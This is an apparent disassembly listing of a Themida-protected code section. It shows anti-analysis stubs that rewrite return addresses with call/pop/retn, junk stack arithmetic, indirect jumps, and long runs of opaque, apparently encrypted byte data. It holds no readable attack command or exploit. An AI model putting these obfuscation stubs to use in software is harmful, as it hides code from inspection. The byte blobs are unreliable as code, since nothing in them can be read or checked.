		mov	ecx, 234CF6h
		lea	ecx, [ebp+619D179h]
		push	0
		push	ecx
		call	sub_5E939E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E939E	proc near		; CODE XREF: Themida_:005E9396p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5E939E	endp

; ---------------------------------------------------------------------------
		dw 8E9Fh
; ---------------------------------------------------------------------------
		jo	short sub_5E93CF
		cmp	eax, 398A3474h
		stosb
		mov	ebx, [ebp+6131FBDh]
		mov	[ebp+6131BBDh],	ecx
		push	0
		push	ecx
		call	sub_5E93CF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E93CF	proc near		; CODE XREF: Themida_:005E93B0j
					; Themida_:005E93C7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5E93CF	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 0FE8CDh, 1D140000h, 1F2D54B9h, 0AA6880BDh, 96930519h
		dd 0AD9D2911h, 5B061308h, 18DD85C7h, 5CFC0613h,	8B600000h
		dd 1313A595h, 31853106h, 61061317h, 305585C7h, 613h, 0B58B0000h
		dd 6131D01h, 31EDB5FFh,	0B5010613h, 6132C61h, 1D8995FFh
		dd 852B0613h, 6133489h,	95FF006Ah, 6130DA9h, 0CEBC08Bh
		dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 0D2758D8Dh, 6A0619h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0EF7550C3h, 0F9F6CE65h, 12E8EA90h, 1C000000h, 965903Ah
		dd 9D24F3A0h, 576C929Ah, 0B62DB54Fh, 158531F7h,	58061301h
		dd 10718D01h, 8D890613h, 6131BBDh, 2EB99D89h, 85C70613h
		dd 61318DDh, 61B0h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 7EC35141h, 18E8754Bh,	1E1F7825h, 359D8B04h
		dd 0C7061305h, 13305585h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E6FDBA45h
		dd 0E96E2B94h, 0Ch, 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh
		dd 0ED19D8Bh, 0B5FF0613h, 6131A95h, 0FFD9BF0Fh,	131D8995h
		dd 0C3B70F06h, 95FF006Ah, 6130DA9h, 49EBC08Bh, 22A8A756h
		dd 0E30A9FADh, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C7D40112h
		dd 94E8F9Bh, 0E32D105Bh, 636C9E99h, 9F389618h, 405BD92Fh
		dd 193340FFh, 65D84E5Ch, 0EF7E9FC1h, 8630A294h,	93E091CEh
		dd 0AF091AC3h, 49636BD0h, 8E87Fh, 32B90000h, 85FB8A2Eh
		dd 0CA8B895Eh, 0CE85Bh,	0C8140000h, 809F8395h, 218B42FAh
		dd 0BD898B07h, 6132EC9h, 2C38159h, 8B00006Bh, 13204D8Dh
		dd 6806h, 95290000h, 61305BDh, 0BABE665Fh, 3B048BA9h, 76E0EDBEh
		dd 2DE88172h, 0B5592505h, 46F08189h, 92EB2E6h, 131269B5h
		dd 0DAF08106h, 66717C91h, 489D08Bh, 3DBD893Bh, 0B061311h
		dd 1319D18Dh, 3EF8306h,	0BA664FF5h, 0FF81CFA3h,	0FFFF9588h
		dd 0FFB7850Fh, 9D09FFFFh, 6130A89h, 8E8h, 24CAF000h, 0E89898Ah
		dd 0E85FF844h, 6, 0DFFBF431h, 9D297461h, 61325CDh, 35C7815Eh
		dd 8B000060h, 1317898Dh, 0B9DB2B06h, 0ECD2748h,	663B34FFh
		dd 0A9CFC181h, 81C28A5Ah, 2EDBEDC2h, 8D89564Ah,	6130B85h
		dd 92F28159h, 293D6F72h, 132501BDh, 55F28106h, 0B865EDFAh
		dd 0E0A4Bh, 0E91F1489h,	8, 5D8C5BE5h, 0DEF3D29Ah, 0C4DBD09h
		dd 0EB830613h, 8112B104h, 0FFA088FBh, 1D850FFFh, 81000000h
		dd 26B98AEEh, 30E91Eh, 0ED0C0000h, 0CE3219B1h, 8CFBF385h
		dd 8B5298FDh, 6B7DBB91h, 4890Fh, 0B9660000h, 7DE968DBh
		dd 67FFFFFFh, 8117F674h, 60C0B431h, 0BA797319h,	32E92BB9h
		dd 68000000h
		db 18h,	74h, 27h
byte_5E96EF	db 0			; DATA XREF: Themida_:00590774o
		dd 0Bh dup(0)
		dd 0AB4E900h, 16680000h, 0E90619D6h, 0FFFA7328h, 19D6C768h
		dd 731EE906h, 0C768FFFAh, 0E90619D8h, 0FFFA7314h, 19D99368h
		dd 730AE906h, 1668FFFAh, 0E90619DBh, 0FFFA7300h, 19DC9668h
		dd 72F6E906h, 8468FFFAh, 0E90619DDh, 0FFFA72ECh, 0C8BAF515h
		dd 146E419Ch, 0C11F8C60h, 10723DD1h, 0C0227D64h, 537E1E10h
		dd 0C92E564Ch, 779400E2h, 0C2264E34h, 21E5F7E9h, 8D3C3FA9h
		dd 0F5200D42h, 894A6177h, 0F4CEDDFBh, 72E641DBh, 6EDA7266h
		dd 5E4494E8h, 2B7E0E2Ch, 0E13EA1F6h, 0E25A729Fh, 0FFBD7802h
		dd 4D5E7919h, 0AD466A4h, 0E1696D41h, 0BD780277h, 85F50345h
		dd 48CA0676h, 6A1Ch, 17FBE900h,	3F4B6077h, 4494E8D5h, 55F561A3h
		dd 4494E8E3h, 5C91A7D9h, 0D2DD31C2h, 371FE921h,	0D4664597h
		dd 0BD5D44C4h, 0F92B3EA1h, 3B5CC4B8h, 953CBD78h, 16BBC90Ah
		dd 2D8D4889h, 0BF9F0224h, 52FADEB2h, 0BD783BE6h, 0F68694D6h
		dd 48CA23C7h, 0EC8Bh, 0F7977B00h, 53C5C5DAh, 39BD7837h
		dd 0F4C60BA4h, 0CBE0F870h, 77D8FBFDh, 0FB894A61h, 377493D6h
		dd 38D84071h, 0A6EE0C9Fh, 1CA86942h, 0D991EFBCh, 4494E5A5h
		dd 6CB445A3h, 0ED05C71Dh, 0CB3D2DE8h, 0C1BB6BBEh, 2B57497Fh
		dd 1DCAF8CDh, 387DB870h, 0BBD74172h, 6B92D94Bh,	56DAFBBh
		dd 3936C4E7h, 7C14042Fh, 86F29A5Fh, 76BB6B92h, 0B4647634h
		dd 5EA43914h, 279FB3C1h, 0BD7884BDh, 43BF598Bh,	2F7926CBh
		dd 47E27C51h, 2E5437CFh, 4E42C74Ch, 422A4ABEh, 32CA42B7h
		dd 0AA432F79h, 0BCEECC05h, 722DD43Ch, 227D6410h, 0FF7401A9h
		dd 66634C70h, 84Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h
		dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh,	0FADE86FCh
		dd 19FDCFB1h, 8D3E0771h, 0CDF8F542h, 5B455A77h,	0E8DAD127h
		dd 0DD48D2BDh, 0BDEAD179h, 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h
		dd 24EE1D8Dh, 9AB448CAh, 61000000h, 0FA146177h,	0D6BEF3B5h
		dd 0C84742Bh, 3320BAE5h, 94E5E599h, 0F0856344h,	0AC5E9318h
		dd 0F810845Eh, 31CB43B3h, 7781397Ah, 70BBC55Ah,	250D0088h
		dd 83EBC15Eh, 3C8E4368h, 0A1BB146Eh, 0E6FA9286h, 16C74CABh
		dd 5EC64D4h, 953C289Ah,	0F7D3810Ah, 153E70FFh, 79D74h
		dd 139C3E00h, 8728C5ADh, 18936919h, 8B24BAAAh, 1B846D15h
		dd 8705F9A5h, 174B356Ah, 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h
		dd 3E26923Ah, 1916428Dh, 455A77ECh, 0DAD1275Bh,	7B9000E8h
		dd 0B1478330h, 7A93FBA2h, 0BC3E7C35h, 0CF58058h, 289C5593h
		dd 1E5DBD0h, 822F7091h,	0E882F696h, 487A4494h, 0ED777882h
		dd 1C30665Ch, 0EA6277D4h, 4494EE7Eh, 1CCE1C4Eh,	0AC1C381Ch
		dd 4494EE38h, 0C04CCE10h, 3EA1F3C5h, 544071B3h,	0D989F7B4h
		dd 5567ACFFh, 44A239CEh, 5CB4BD1Dh, 21512F7Ch, 9D2FE4C7h
		dd 36322726h, 0C646D2Dh, 0B1E1BFECh, 0BCE45457h, 0B66DA655h
		dd 98A96E35h, 0F0DFBF63h, 2B2C13AFh, 0F456E4A4h, 0F35BEDE6h
		dd 0C9229219h, 3FD931E2h, 603040CBh, 0EBF86697h, 4C367593h
		dd 0D2CD349Ch, 0C34FE921h, 0BDB85025h, 0A5658E21h, 8E5CAE63h
		dd 67DFF365h, 363248FDh, 6E7F99CBh, 0F9DD59D4h,	0D2B8459h
		dd 746B67Dh, 7688084Ch,	0D6427839h, 773C236h, 7288BA28h
		dd 0E868D012h, 0A05A9714h, 73A410B8h, 52942807h, 0FB855AC8h
		dd 94CCC830h, 84AE8A24h, 0E0B8224Ah, 0E451E81Ch, 16B913AFh
		dd 0BB432317h, 0FE22ED1Dh, 0A8AC5232h, 0D6D6C928h, 22EB1A62h
		dd 2A74425Ah, 0D3C4D13Ah, 3D7F0315h, 8A339D9h, 0E8E9EFCBh
		dd 0EB636DD4h, 9D27822h, 59676A99h, 35530D7h, 86E50000h
		dd 0C16CF661h, 8C1FBD55h, 0E888FC8Ch, 3E804494h, 156CDCBCh
		dd 873EA1FAh, 21B7F407h, 473F9FE1h, 3A7B5491h, 0E5C3DB03h
		dd 3EF56CBDh, 48A9B3BCh, 4B6FBB0h, 524652C6h, 4A634EBAh
		dd 32D63E3Ch, 48823879h, 64FB5AB2h, 0C7F9467Fh,	0E04BD50Ah
		dd 8A445C78h, 4E572884h, 567B0F29h, 0D04C5439h,	0AAAEAA8Eh
		dd 0D1D9D22Ah, 28205167h, 4D9F1355h, 0A038DC5Eh, 0BED950Bh
		dd 6A6B2BA0h, 0F5DEE9DDh, 59DD4h, 139C3E00h, 8728C5ADh
		dd 18936919h, 8B24BAAAh, 1B846D15h, 8705F9A5h, 174B356Ah
		dd 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h, 3026923Ah,	1916428Dh
		dd 0DD48D2ECh, 19F55D79h, 0E8F064E4h, 96C84494h, 0CD6B9F54h
		dd 0A1F55A3Dh, 0E50E503Eh, 619219EFh, 0C2BF8C52h, 8D896DB8h
		dd 3970189h, 2365BD78h,	1F927515h, 5688C74Dh, 0FE647C6Ch
		dd 0AC767445h, 0BC1C7882h, 408A25B9h, 0C4E70193h, 13E07E0Fh
		dd 348E1DBBh, 0FF0D9928h, 241BD42h, 0D2960000h,	0D179DD48h
		dd 3EACB446h, 8E06F234h, 1E463C63h, 2127ECB3h, 2D9D50B1h
		dd 0BD72C4BBh, 58994F91h, 9BF498A2h, 8D1C20BCh,	30EC5A6Bh
		dd 32868292h, 572DF378h, 0D7C0770Fh, 4D1E2h, 0BFF00A00h
		dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h
		dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h,	315ACE3Eh
		dd 3532428Dh, 0DD48D208h, 0B446D179h, 0BC343EACh, 995A901Bh
		dd 4DECD2Bh, 7E337890h,	0F8B9F216h, 0A4FCC585h,	0A315B544h
		dd 99BD72C4h, 3B3FA167h, 48C0DC8Ch, 19ED2h, 61778300h
		dd 0DDFB894Ah, 0E838AC1Ch, 0CE104494h, 6CA506E6h, 59665C8Eh
		dd 54F464CFh, 3EA1F6C1h, 8328C34Bh, 265E7C4Eh, 0E86074E4h
		dd 0BD78027Ch, 0D3001A4Ch, 780243B9h, 0F0BB51BDh, 43B555C3h
		dd 39BD7802h, 56738B07h, 337480E2h, 0CE03C500h,	429AA717h
		dd 0DBC604ABh, 0C7F66673h, 1148CA68h, 64138505h, 0DEF9BD78h
		dd 0DEE624CDh, 0D1179876h, 33C947h, 0D27A0000h,	5D79DD48h
		dd 0DC5CD845h, 21B76AB1h, 0A104F2E9h, 658ED03Eh, 7965F167h
		dd 854EECBDh, 0CB7DE615h, 0CAAC48h, 0B89C0000h,	7969A410h
		dd 0C85294BDh, 4A61778Dh, 0D642CACEh, 0A64494E8h, 77DD664h
		dd 88FCB5EAh, 92763B70h, 0DC6E502h, 11E72BADh, 50C0289Ah
		dd 0A3E7F1BEh, 4494E5FBh, 1800AB4Dh, 0BAF0A0C8h, 0E0E430DAh
		dd 0C84C786Ch, 0F41480B4h, 3AC0FAB7h, 7E9000E8h, 0B04A8031h
		dd 8E8AA5BFh, 5F629CFEh, 10B89CC1h, 0BD7D96A4h,	0EAB51C94h
		dd 0D117D129h, 9B04ED65h, 0B943D25h, 122FB47Eh,	55745F77h
		dd 34Eh, 60426D8Dh, 0ECD6D934h,	59476478h, 0E8DAD529h
		dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh,	0FADE86FCh
		dd 19FDCFB1h, 8D330771h, 0CDF8F542h, 0F3935A77h, 4494E881h
		dd 31365F77h, 0BFFBB532h, 0B1E1BF09h, 476E5457h, 367593FBh
		dd 57BB3D7Dh, 0DBE92A81h, 0FBD4AEFDh, 0BA52C661h, 3EA1E6F3h
		dd 4A426FB1h, 0BD7813D0h, 535019B9h, 52FA5EC9h,	0C74D1D5Bh
		dd 3DA91749h, 3B7833D5h, 775A797Fh, 0FB894A61h,	0DBF4CEDDh
		dd 6672E641h, 4254843Eh, 49CF5BC5h, 0A12E76C1h,	147C983Eh
		dd 4EBAB2EDh, 4EBD792Ah, 0F5D5FEADh, 8D8E556Dh,	535249C6h
		dd 0BDFF8395h, 90007814h, 3D1DBD79h, 9435C434h,	395948CBh
		dd 2A000000h, 79DD48D2h, 0A1BDEAD1h, 7E46C3Eh, 3CEE5AF2h
		dd 0ACDEBD78h, 0C355B55Eh, 7B30C73Fh, 9008842Dh, 8DBD783Ch
		dd 8534A4ADh, 4F48CA24h, 518229BFh, 0EA315F79h,	0E2000000h
		dd 0CE4A6177h, 7C865A96h, 26B4E574h, 653A972Dh,	0EBC018ACh
		dd 713A9E26h, 90B7E70Fh, 0DCFD280Ch, 69157583h,	0DF449479h
		dd 5440A209h, 25BAF7B4h, 2C28101Bh, 9F7B73F4h, 0AD4BDE83h
		dd 0A1BBDA5Dh, 8058D03Eh, 0EA03DD2Bh, 7561D550h, 8DABF4DDh
		dd 4D736BFDh, 0F75FA1C7h, 0FE089AA7h, 98A2D58Ah, 0AEF11080h
		dd 482DCA4Ah, 2B8F9B6h,	29AF0BC8h, 39668BF7h, 0FFC46C30h
		dd 8D2C1770h, 1CEh, 0E0C2ED0Dh,	6C5659B4h, 0D9C7E4F8h
		dd 685A55A9h, 0D8CAD5FCh, 2BD676E8h, 81660E74h,	2FCCB82Ah
		dd 7A5E067Ch, 997D4F31h, 8D3487F1h, 4D787542h, 0FE0F5A77h
		dd 701800B1h, 4494E804h, 0B2F8B2F4h, 4EBA5246h,	3E4494E8h
		dd 0BE50D80Ch, 5AFF2A2Ah, 0D63262C0h, 17FBEBD5h, 9488056Fh
		dd 0C5EA0344h, 0F4078BBDh, 3AC0FAB7h, 0DD48D21Bh, 0BDEAD179h
		dd 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h, 24EE1D8Dh,	0ACB448CAh
		dd 61000000h, 894A6177h, 8C9D6FBh, 94E5CA74h, 2B9A3E44h
		dd 58ADC8F3h, 0CCDFFC8Ah, 0B3F5B307h, 6843A5CDh, 59EA74ABh
		dd 6BAEBFCEh, 6FE72104h, 5ED35CD7h, 0AA184AC1h,	38200B15h
		dd 4B9EA590h, 54A727C7h, 0DA609A57h, 9E2BC22Ah,	0F7135EF3h
		dd 0C809BFE2h, 0D040B8F2h, 60146E31h, 0B1AD1E81h, 8470FEBCh
		dd 0E01E9Bh, 0DFFB0000h, 6B82F2D0h, 0D6365E44h,	6777EBD5h
		dd 0C72A5A48h, 40B6EAD8h, 87A25CCh, 52307B5Ch, 0E2C922h
		dd 49377494h, 89FB8B73h, 7F428D35h, 5A773B82h, 0D1275B45h
		dd 0A16744A4h, 630A6DB5h, 85505F1Ah, 0FB862D73h, 7D55F3E3h
		dd 87FF7D79h, 44945B1Dh, 0E9EFB9EBh, 0C8264FA9h, 0E4F021E7h
		dd 0A439A704h, 0ABA78F9Ah, 3C35D473h, 3B37CA71h, 28E20F9Ch
		dd 0C7237A12h, 9FE13EACh, 25866272h, 7A31C7BBh,	38E84339h
		dd 4FEFDADEh, 0C726AE82h, 0A0515AB2h, 0FA9AA06Ah, 7FF3CDDEh
		dd 87914269h, 1FB9F607h, 6AE21BF3h, 9CEC30FEh, 307EEA62h
		dd 1C4E9CECh, 5F945688h, 0B8504454h, 9CEC304Ch,	30CC38D0h
		dd 8ABC9CECh, 0AC32C8FAh, 0FAB1479Fh, 0AFFCDC88h, 88702h
		dd 1910000h, 1A39BFE0h,	63775940h, 0DBFD874Ch, 5AB123D0h
		dd 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h, 0D12B995Ah
		dd 52AB19DAh, 5652B45Dh, 0C681E689h, 4,	8704EE83h, 248B2434h
		dd 0F4B6824h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 34087487h
		mov	ecx, 0D2116017h
		sub	ecx, 3D862BAFh
		add	ecx, edi
		add	ecx, 3D862BAFh
		pop	edi
		push	479Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		push	ecx
		pop	eax
		mov	[ebp+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		fiadd	word ptr [edx]
		mov	al, ds:0A344E5F2h
		mov	[eax+619DE89h],	edi
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0C1h
		dd 1D2D5373h, 0C47CD0C1h, 0D518FFB4h, 40278ED0h, 0A96999D8h
		dd 4B37E250h, 5E5CCEDFh, 372B0B64h, 0D1CB0A4h, 0E463E273h
		dd 968AEA4h, 11E1F6Ch, 0E11107B5h, 502EE77Dh, 5A28E66Ch
		dd 3F1BFC73h, 0B44F6238h, 0A61FD922h, 1604C373h, 0F87D367Dh
		dd 285B3343h, 5B6D5909h, 0E12728EAh, 0E8799C8Bh, 0Fh, 0ABE8EEh
		dd 133577C7h, 0CC6673B0h, 80826B61h, 0E85F42D7h, 14h, 60B34321h
		dd 947B51D2h, 175EABAEh, 9FA4159h, 2715B74Fh, 0D6816660h
		dd 0E2BBED6Ch, 613E9382h, 28C78159h, 66000059h,	2B2A19B9h
		dd 8BDF8BF6h, 0E1813704h, 257A432Eh, 8E9F081h, 0F38079A6h
		dd 0F4C0816Ah, 0F2F22A0h, 685h,	8DD28100h, 817D04C0h, 26C653C0h
		dd 12E938h, 0C3B70000h,	0B0850DDEh, 0A5CC6A15h,	0E9396BD6h
		dd 0C25243Bh, 8A370489h, 81D981DCh, 830C0B05h, 8E0F03EEh
		dd 4, 0FE9DB966h, 0EE94Eh, 817E0000h, 0BD605DAh, 0C74B524h
		dd 0E7C6F35Ah, 0A7D8FE81h, 850FFFFFh, 18h, 48A0Fh, 0BA660000h
		dd 35E996C0h, 45000000h, 21B31208h, 3D5A9E9Fh, 0FE9h, 0AB104900h
		dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 0FFFF56E9h, 0F2183FFFh
		dd 4A50710Dh, 71531DF6h, 959EA0BEh, 0D1719CB9h,	21E9h
		dd 91234400h, 38h, 6 dup(0)
		dd 0B4E90000h, 66000004h, 7A607ED8h, 624866E8h,	7C5E7CCEh
		dd 634565EBh, 6D607ED6h, 381CA9C2h, 2A28B89Ah, 3711A68Ch
		dd 2C20B197h, 6B9AC58Eh, 16B794EFh, 0BDFD61B8h,	6D51E06Ch
		dd 745674E0h, 664C6BE1h, 0F4737DD7h, 0EECD7FD2h, 76C396C9h
		dd 4466AC7Ch, 8B0A5BF1h, 0EA0A241h, 345EF140h, 0F25AEB97h
		dd 315BEDD5h, 9E2962BCh, 8BEA2B10h, 9A2D1341h, 952A10AEh
		dd 9E2D5EF0h, 0A3B2D3B2h, 26FC7BA4h, 0C21C608h,	104292C4h
		dd 68E10B41h, 0EC5D25BAh, 1E01147Dh, 2280E1h, 0C58BDCADh
		dd 0AC265774h, 75109E73h, 41107110h, 9E7451B0h,	0CB40CA10h
		dd 4155D3A1h, 3E8DB5A3h, 6853CA12h, 64000000h, 26D9DA3Bh
		dd 636DCF61h, 0E06CBDF9h, 0B4A42051h, 0C619109Dh, 0A9BC73E1h
		dd 9E84DA34h, 3D62A310h, 0E9F3E4E7h, 32022A9Fh,	9AA34196h
		dd 1, 0E16DBDC0h, 0ACDC6E50h, 0D6D11547h, 0DC6D0C5Fh, 582169FAh
		dd 466AA82Ch, 3EC743B2h, 0D90109Eh, 0C41E4F6Ch,	8D109E3Eh
		dd 87D86908h, 72C46E0Bh, 89DCFEDCh, 0BD45E3C3h,	314D1E70h
		dd 0A6B924C3h, 25476C7h, 86D9FD4Ch, 14F73C2h, 0A2CC0051h
		dd 3CD63C29h, 0CBC613BFh, 17B7D67Eh, 6AE41936h,	9E109DCDh
		dd 93F2430Dh, 557741C4h, 0D5F94804h, 5476C783h,	0D6F849FFh
		dd 937BCA84h, 489184F5h, 411F4DBEh, 0E9A341F0h,	60h, 0E470BD4Dh
		dd 6BDF7155h, 700989DAh, 0C2E173C2h, 0A83C4DE0h, 137293A2h
		dd 0DBF9C342h, 5DEC68F5h, 0D766EA79h, 0E507840Eh, 0A341E807h
		dd 46AFh, 0E0C29300h, 95B7014Fh, 193D0C48h, 0E070BFC6h
		dd 3F8EB081h, 0B3024415h, 0D33F90A1h, 666C4F36h, 0C4901DD5h
		dd 77E6C9E6h, 109DB51Bh, 0BD17A1E4h, 50E16DBDh,	9DB4A021h
		dd 791910h, 41EA1CDCh, 1C4A3h, 0C29A0000h, 0B51670E5h
		dd 0BEDF109Dh, 0F4902436h, 76F5091Bh, 96355455h, 0A12B21B4h
		dd 9FAD0042h, 74EE1F40h, 3D109E30h, 7B5110D8h, 76CA7811h
		dd 0AFBAF6D4h, 86CFF8D7h, 781D7AE2h, 0BB2A27B1h, 168F1AEAh
		dd 0E7EB7A9Bh, 0F1D9F656h, 0F5E3ED61h, 0EDCA82D3h, 8DDC78C5h
		dd 0D425C40Ch, 0A8B1978h, 63496EB1h, 9716A104h,	0F18A04CCh
		dd 7E5CF041h, 0F243095Ch, 7ECF7DD0h, 0D181FA98h, 56EECC80h
		dd 5AACAC86h, 5EF04268h, 1020F96h, 0A3330000h, 7AEBC8BEh
		dd 168EBC37h, 0DFFC4DD0h, 464FC6F8h, 7D47DD9Bh,	64420A5Bh
		dd 57E55C43h, 0A755702Fh, 71553414h, 0BBDA6BDFh, 0BE8E1F31h
		dd 0E2A93921h, 419EFF51h, 8A7052CCh, 0F2FA1B0Ah, 4EFE4F73h
		dd 53F74971h, 9634DA89h, 70DC6D25h, 513AFA52h, 38A25AADh
		dd 35000000h, 0C594C00Dh, 7B1A2E81h, 0BCA3E771h, 0FA74E9C6h
		dd 736F624Bh, 0FE4FFF4Fh, 7598559Fh, 0B53995E4h, 513B909Dh
		dd 8BF7F0B8h, 4C3DB92Ch, 0C746EF62h, 72C8E7h, 0A3660000h
		dd 7AEBC8BEh, 168EA18Fh, 0AC265778h, 750A8AA0h,	0DEE07110h
		dd 84A1014Bh, 0F3420C9Eh, 0B5084A92h, 0BE123897h, 54A5448Ch
		dd 0A8AA0F3h, 752D9E34h, 4E4A68E4h, 73547313h, 864EFE4Fh
		dd 713F0807h, 0A1B0D510h, 307D0C9Dh, 0E0F44524h, 164B1DAEh
		dd 0DC6F5370h, 17BCDD6Ch, 228F2E8Dh, 2734BC1Ah,	5847D9B6h
		dd 0CCA1A60Ah, 0B1C63CB1h, 0FB557514h, 0EBC8BEA3h, 84549D7Ah
		dd 1A2B6A16h, 7A7A538h,	4F820126h, 1943B592h, 202C7DCFh
		dd 3E0E9F83h, 12C637B6h, 4B27FBCCh, 0B19B2E14h,	2D5761A0h
		dd 3353E69Ch, 1ACEDF32h, 0F5D5B4F9h, 0B80782D3h, 0F5DAF998h
		dd 83152BFFh, 0D6955F41h, 5CED63F4h, 0D564E67Ah, 722A64F1h
		dd 4D339EB7h, 5B7FCEAFh, 81F1420Ah, 45C71D08h, 0A1ABFEB4h
		dd 0BE8E1F01h, 0A5A93921h, 391CC1Bh, 2D000000h,	71BDE17Bh
		dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
		dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h, 0C681E689h
		dd 4, 4BF57h, 0FE290000h, 2434875Fh, 7C6C685Ch,	14890000h
		dd 10056824h, 34890000h, 43BF5724h, 47640716h, 2FD3EF81h
		dd 0F7813475h, 11D8380Dh, 538BBA52h, 0D7314405h, 8E7C15Ah
		dd 1657EF81h, 0FA894674h, 4EC815Fh, 89000000h, 4812424h
		dd 424h, 0B8505E00h, 8,	1089F001h, 8324048Bh, 348B04C4h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch
		dd 4C4815Ah, 0E9000000h, 0FFF99C08h, 0B8AFC356h, 619E4C9h
		dd 0E0FFC503h, 259E9D1h, 36A94A46h, 703D3D76h, 0FACE833h
		dd 490F8577h, 6CB50F31h, 658BFED2h, 5533B7D8h, 3E1418D9h
		dd 722DEACEh, 32E9h, 0B92BDE00h, 8, 0Ah	dup(0)
		dd 0E9000000h, 4B5h, 19E6C668h,	9B8EE906h, 3E68FFF9h, 0E90619E7h
		dd 0FFF99B84h, 19E8CA68h, 9B7AE906h, 19A5FFF9h,	2BBB9D3Dh
		dd 0B9D8323h, 2AB99F3Fh, 13A28826h, 0FD326141h,	0B3134190h
		dd 0B3133F8Dh, 0B00E3A8Dh, 0B515378Ah, 0D832A3ACh, 0A116B799h
		dd 70BDD688h, 0E07155E4h, 0F1684F6Ch, 8DC71696h, 0E215F826h
		dd 0A5BCFCDAh, 3693C2E1h, 0FF168F19h, 0AF90CF9Eh, 45143C8Bh
		dd 173995C4h, 0BD020A8Bh, 6BD89B30h, 0CA127368h, 8B1CDB3Bh
		dd 63D8320Ah, 0AC827B39h, 303E35Ah, 0B9770000h,	0DBABB6DFh
		dd 0A5E889FCh, 3E69168Eh, 0CD31E8DBh, 2AB701A5h, 0F3D708EBh
		dd 3958E961h, 3E6950AFh, 469BE7E5h, 0FFF26340h,	0F81315A9h
		dd 0C0143695h, 0A73D99CCh, 87060711h, 0AE3657E6h, 9EE8013Fh
		dd 80F9CC41h, 55720D02h, 0FE6CA620h, 4F2E6F00h,	55F74A70h
		dd 4A025375h, 82B2AA17h, 3510D776h, 333h, 0BF1F3783h, 0A5054999h
		dd 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh
		dd 0F0436545h, 5587A58h, 755A6747h, 0B79A8600h,	68DA4F16h
		dd 0EBC8BEA3h, 8451B17Ah, 98375616h, 0DB6E23B2h, 1FB8F5ABh
		dd 0ABCAE310h, 0BD1A7B9Ah, 3B0A4695h, 0E664F8DAh, 0B0AE3657h
		dd 48193B8Ah, 0B595270Bh, 0A7BDC2Bh, 2ABBE949h,	0E081D15Fh
		dd 8B91A6Dh, 59743380h,	2BBh, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh
		dd 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh
		dd 0DD705270h, 5D824F6Fh, 0B79BAE28h, 40227716h, 6602BEA3h
		dd 9D87A276h, 0B6A4644Bh, 4B7D7B5Ch, 3BAA8D2Ah,	109E83DFh
		dd 7E5B65A8h, 63E77961h, 20412A59h, 0E9E61685h,	849E1A74h
		dd 3DCE30Ah, 0AFDA0DD8h, 39086908h, 84124AC8h, 0D465A10Ah
		dd 25C8FC23h, 6A4A7450h, 0B03AFA62h, 0A2A25AA7h, 0B8000001h
		dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 0AD295C7Bh,	76109DB4h
		dd 0C4BBB017h, 3632A84Dh, 8D225FAEh, 6AAB168Fh,	892CAADBh
		dd 7830A8Bh, 328A4A72h,	466C5AACh, 0C90D5CF6h, 786D77Bh
		dd 43475E66h, 98000000h, 0A83022B2h, 4CE0C22Eh,	92A3AB3Bh
		dd 1FB01273h, 0D7E12031h, 0A30086DBh, 8E985332h, 50E12416h
		dd 8A87A121h, 0FD8EF80Ah, 0AD3901CFh, 0D9A95Ah,	280A0000h
		dd 0C86F793h, 0D50A8A94h, 180D1B0h, 6CBD1DB7h, 0B557B322h
		dd 0FD20109Dh, 0B18ECD9Ch, 9DB4E23Ch, 75A4AB10h, 60FC8F9Bh
		dd 2B2DB7D6h, 0A3A7B69Eh, 2C2B3A12h, 0C899B306h, 0FC4D7F49h
		dd 61037250h, 0E1109E70h, 0E2DEFC50h, 0FFE0FF87h, 0D7FF8DDBh
		dd 0E4D5298Fh, 8AC998F9h, 9EB0FF5Bh, 2445C810h,	0ED76D9Ch
		dd 0B1D41689h, 0F0A13012h, 3F5EEF5Dh, 33024A9Bh, 2D13B3D2h
